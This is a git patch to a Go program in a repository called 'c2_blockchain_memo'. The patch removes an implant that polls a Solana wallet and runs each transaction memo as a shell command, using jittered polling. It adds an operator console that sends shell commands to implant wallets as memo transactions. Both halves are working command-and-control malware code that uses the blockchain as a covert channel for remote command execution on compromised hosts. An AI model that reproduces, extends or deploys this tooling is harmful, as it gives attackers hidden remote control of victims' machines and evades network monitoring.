From b6cc186fffdce1aca125f09e9c819efb027c51fc Mon Sep 17 00:00:00 2001 From: ek0ms savi0r Date: Mon, 8 Jun 2026 05:54:05 +0000 Subject: [PATCH] Upload files to "c2_blockchain_memo/cmd" --- c2_blockchain_memo/cmd/main.go | 323 ++++++++++++++++----------------- 1 file changed, 159 insertions(+), 164 deletions(-) diff --git a/c2_blockchain_memo/cmd/main.go b/c2_blockchain_memo/cmd/main.go index 1da09c2..a4354f6 100644 --- a/c2_blockchain_memo/cmd/main.go +++ b/c2_blockchain_memo/cmd/main.go @@ -1,221 +1,207 @@ -// cmd/client/main.go — C2 Blockchain Memo Implant +// cmd/server/main.go — C2 Blockchain Memo Server (Operator Tool) // -// Watches a Solana wallet address for incoming transactions and -// extracts any memo text (via the Memo Program). If the memo -// contains a shell command, it executes the command locally. -// -// The implant tracks which transactions it has already processed -// so it only executes each command once. +// Sends commands to implants by embedding them in Solana transaction +// memo fields. Each command is sent as a 1-lamport SOL transfer + memo +// instruction to the implant's wallet address. // // Usage: // -// # Watch a wallet (no keypair needed — read-only mode): -// go run ./cmd/client --address --rpc devnet +// # With a funded keypair (Solana CLI JSON-array format): +// go run ./cmd/server --keypair ~/.config/solana/id.json --rpc devnet // -// # Watch own wallet from keypair: -// go run ./cmd/client --keypair implant-keypair.json --rpc devnet +// # Generate a fresh ephemeral keypair (no SOL — for testing): +// go run ./cmd/server // -// # Watch with custom polling interval (default 15s, with ±50% jitter): -// go run ./cmd/client --address ... --interval 30 +// Interactive commands once running: +// send +// balance +// quit package main import ( + "bufio" "context" "encoding/json" "flag" "fmt" "log" - "math/rand" "os" - "os/exec" - "os/signal" "strings" - "sync" - "syscall" - "time" "github.com/gagliardetto/solana-go" + "github.com/gagliardetto/solana-go/programs/memo" + "github.com/gagliardetto/solana-go/programs/system" "github.com/gagliardetto/solana-go/rpc" ) -// seenTracks keeps track of processed transaction signatures so we -// never re-execute a command. -type seenTracker struct { - mu sync.Mutex - seen map[string]struct{} -} - -func (st *seenTracker) Add(sig string) { - st.mu.Lock() - st.seen[sig] = struct{}{} - st.mu.Unlock() -} - -func (st *seenTracker) Has(sig string) bool { - st.mu.Lock() - defer st.mu.Unlock() - _, ok := st.seen[sig] - return ok -} - func main() { var ( - addressStr = flag.String("address", "", "Implant wallet address to watch") - keypairPath = flag.String("keypair", "", "Path to implant keypair (uses its address)") + keypairPath = flag.String("keypair", "", "Path to operator keypair (Solana CLI JSON array)") rpcEndpoint = flag.String("rpc", rpc.DevNet_RPC, "RPC endpoint: mainnet-beta, devnet, testnet, or custom URL") - intervalSec = flag.Int("interval", 15, "Polling interval in seconds") - limit = flag.Int("limit", 10, "Max transactions to fetch per poll") ) flag.Parse() + // Resolve named endpoints endpoint := resolveEndpoint(*rpcEndpoint) - // ── Resolve the wallet address to watch ────────────────────────── - var watchAddress solana.PublicKey + // ── Load or generate operator wallet ────────────────────────────── + var operatorWallet solana.PrivateKey + var err error - if *addressStr != "" { - var err error - watchAddress, err = solana.PublicKeyFromBase58(*addressStr) - if err != nil { - log.Fatalf("Invalid --address %q: %v", *addressStr, err) - } - } else if *keypairPath != "" { - key, err := loadKeypair(*keypairPath) + if *keypairPath != "" { + operatorWallet, err = loadKeypair(*keypairPath) if err != nil { log.Fatalf("Failed to load keypair from %q: %v", *keypairPath, err) } - watchAddress = key.PublicKey() + fmt.Printf("✅ Loaded operator wallet from %s\n", *keypairPath) } else { - log.Fatal("Either --address or --keypair must be provided") + operatorWallet, err = solana.NewRandomPrivateKey() + if err != nil { + log.Fatalf("Failed to generate keypair: %v", err) + } + fmt.Println("⚠️ Generated ephemeral operator wallet (no SOL — use --keypair)") } - fmt.Printf("🔭 Watching address: %s\n", watchAddress.String()) - fmt.Printf("🔗 RPC endpoint: %s\n", endpoint) - fmt.Printf("⏱ Poll interval: %ds (with ±50%% jitter)\n", *intervalSec) - fmt.Println() + operatorPub := operatorWallet.PublicKey() + fmt.Printf("📍 Operator address: %s\n", operatorPub.String()) + fmt.Printf("🔗 RPC endpoint: %s\n\n", endpoint) client := rpc.New(endpoint) - ctx, cancel := context.WithCancel(context.Background()) - defer cancel() + ctx := context.Background() - tracker := &seenTracker{seen: make(map[string]struct{})} - baseInterval := time.Duration(*intervalSec) * time.Second - - // ── Signal handling for graceful shutdown ─────────────────────── - sigCh := make(chan os.Signal, 1) - signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) - - fmt.Println("━━━ C2 Blockchain Memo — Implant ─━━") - fmt.Println("Listening for commands... Press Ctrl+C to stop.") + // ── Interactive REPL ────────────────────────────────────────────── + scanner := bufio.NewScanner(os.Stdin) + fmt.Println("━━━ C2 Blockchain Memo — Operator ━━━") + fmt.Println("Commands:") + fmt.Println(" send
Send a shell command to an implant") + fmt.Println(" balance Check operator wallet SOL balance") + fmt.Println(" quit Exit") fmt.Println() - // ── Polling loop ───────────────────────────────────────────────── - poll := func() { - sigs, err := client.GetSignaturesForAddressWithOpts( - ctx, - watchAddress, - &rpc.GetSignaturesForAddressOpts{ - Limit: &[]int{*limit}[0], - Commitment: rpc.CommitmentConfirmed, - }, - ) - if err != nil { - log.Printf("⚠️ Poll error: %v", err) - return - } - - // Process newest first (they come newest-first from the RPC) - for _, ts := range sigs { - // Only process confirmed/finalized transactions - if ts.Err != nil { - continue - } - // Skip already-seen - sigStr := ts.Signature.String() - if tracker.Has(sigStr) { - continue - } - tracker.Add(sigStr) - - // Check for memo via TxMemo field (populated by runtime for - // transactions that include a Memo Program instruction). - // This is faster than fetching the full transaction. - if ts.Memo == nil || *ts.Memo == "" { - // No memo attached to this transaction — skip. - // Optionally, we could fall back to fetching the full - // transaction and parsing instructions, but the Memo - // field is reliable for Memo Program transactions. - continue - } - - command := *ts.Memo - fmt.Printf("📩 New command from tx %s:\n", sigStr) - fmt.Printf(" Command: %s\n", command) - executeCommand(command) - fmt.Println() - } - } - - // Do an initial poll immediately - poll() - - // ── Polling ticker with jitter ─────────────────────────────────── - ticker := time.NewTicker(baseInterval) - defer ticker.Stop() - for { - select { - case <-ticker.C: - // Add jitter: ±50% of base interval, then poll - jitter := time.Duration(float64(baseInterval) * (rand.Float64() - 0.5)) - time.Sleep(baseInterval + jitter) + fmt.Print("› ") + if !scanner.Scan() { + break + } + line := strings.TrimSpace(scanner.Text()) + if line == "" { + continue + } - poll() - - // Schedule next tick - ticker.Reset(baseInterval) - - case <-sigCh: - fmt.Println("\n👋 Shutting down...") - cancel() + parts := strings.SplitN(line, " ", 3) + switch parts[0] { + case "quit", "exit", "q": + fmt.Println("Bye.") return + case "balance": + checkBalance(ctx, client, operatorPub) + case "send": + if len(parts) < 3 { + fmt.Println("Usage: send ") + continue + } + sendCommand(ctx, client, operatorWallet, parts[1], parts[2], endpoint) + default: + fmt.Printf("Unknown command: %q (try: send, balance, quit)\n", parts[0]) } } } -// ── Command execution ─────────────────────────────────────────────── - -func executeCommand(command string) { - // Determine shell - shell, ok := os.LookupEnv("SHELL") - if !ok { - shell = "/bin/sh" - } - - cmd := exec.Command(shell, "-c", command) - cmd.Stdin = os.Stdin - cmd.Stderr = os.Stderr - // Capture stdout - output, err := cmd.Output() +// ── Core: send a command as a memo transaction ────────────────────── +func sendCommand( + ctx context.Context, + client *rpc.Client, + operator solana.PrivateKey, + implantAddrStr, command string, + endpoint string, +) { + implantPubkey, err := solana.PublicKeyFromBase58(implantAddrStr) if err != nil { - log.Printf("❌ Command failed: %v", err) - if len(output) > 0 { - fmt.Printf(" Output (partial): %s\n", strings.TrimSpace(string(output))) - } + log.Printf("❌ Invalid implant address %q: %v", implantAddrStr, err) return } - outStr := strings.TrimSpace(string(output)) - if outStr != "" { - fmt.Printf("✅ Output:\n%s\n", outStr) - } else { - fmt.Println("✅ Command executed (no output)") + // 1. Get latest blockhash + recent, err := client.GetLatestBlockhash(ctx, rpc.CommitmentFinalized) + if err != nil { + log.Printf("❌ Failed to get recent blockhash: %v", err) + return } + + operatorPub := operator.PublicKey() + + // 2. Build transfer instruction (1 lamport — minimal cost, + // creates an on-chain footprint linking to the implant address) + transferIx := system.NewTransferInstruction( + 1, // lamports + operatorPub, + implantPubkey, + ).Build() + + // 3. Build memo instruction with the command text + memoIx, err := memo.NewMemoInstruction( + []byte(command), + operatorPub, + ).ValidateAndBuild() + if err != nil { + log.Printf("❌ Failed to build memo instruction: %v", err) + return + } + + // 4. Build the transaction + tx, err := solana.NewTransaction( + []solana.Instruction{transferIx, memoIx}, + recent.Value.Blockhash, + solana.TransactionPayer(operatorPub), + ) + if err != nil { + log.Printf("❌ Failed to build transaction: %v", err) + return + } + + // 5. Sign + _, err = tx.Sign(func(key solana.PublicKey) *solana.PrivateKey { + if key.Equals(operatorPub) { + return &operator + } + return nil + }) + if err != nil { + log.Printf("❌ Failed to sign transaction: %v", err) + return + } + + // 6. Send + sig, err := client.SendTransaction(ctx, tx) + if err != nil { + log.Printf("❌ Failed to send transaction: %v", err) + return + } + + clusterParam := clusterParamFromEndpoint(endpoint) + + fmt.Printf("✅ Command sent!\n") + fmt.Printf(" Signature: %s\n", sig.String()) + fmt.Printf(" Explorer: https://solscan.io/tx/%s?%s\n", sig.String(), clusterParam) + fmt.Printf(" Command: %q\n", command) + fmt.Printf(" Implant: %s\n", implantAddrStr) } -// ── Keypair loading (shared helper) ───────────────────────────────── +// ── Balance check ─────────────────────────────────────────────────── + +func checkBalance(ctx context.Context, client *rpc.Client, pubkey solana.PublicKey) { + balance, err := client.GetBalance(ctx, pubkey, rpc.CommitmentFinalized) + if err != nil { + log.Printf("❌ Failed to check balance: %v", err) + return + } + sol := float64(balance.Value) / 1e9 + fmt.Printf("💰 Balance: %.9f SOL (%d lamports)\n", sol, balance.Value) +} + +// ── Keypair loading ───────────────────────────────────────────────── func loadKeypair(path string) (solana.PrivateKey, error) { data, err := os.ReadFile(path) @@ -246,7 +232,7 @@ func loadKeypair(path string) (solana.PrivateKey, error) { return solana.PrivateKey(byteArr), nil } -// ── Endpoint resolution ───────────────────────────────────────────── +// ── Helpers ───────────────────────────────────────────────────────── func resolveEndpoint(name string) string { switch strings.ToLower(name) { @@ -261,6 +247,15 @@ func resolveEndpoint(name string) string { } } -func init() { - rand.New(rand.NewSource(time.Now().UnixNano())) +func clusterParamFromEndpoint(endpoint string) string { + switch { + case strings.Contains(endpoint, "mainnet"): + return "cluster=mainnet-beta" + case strings.Contains(endpoint, "devnet"): + return "cluster=devnet" + case strings.Contains(endpoint, "testnet"): + return "cluster=testnet" + default: + return "cluster=custom&customUrl=" + endpoint + } }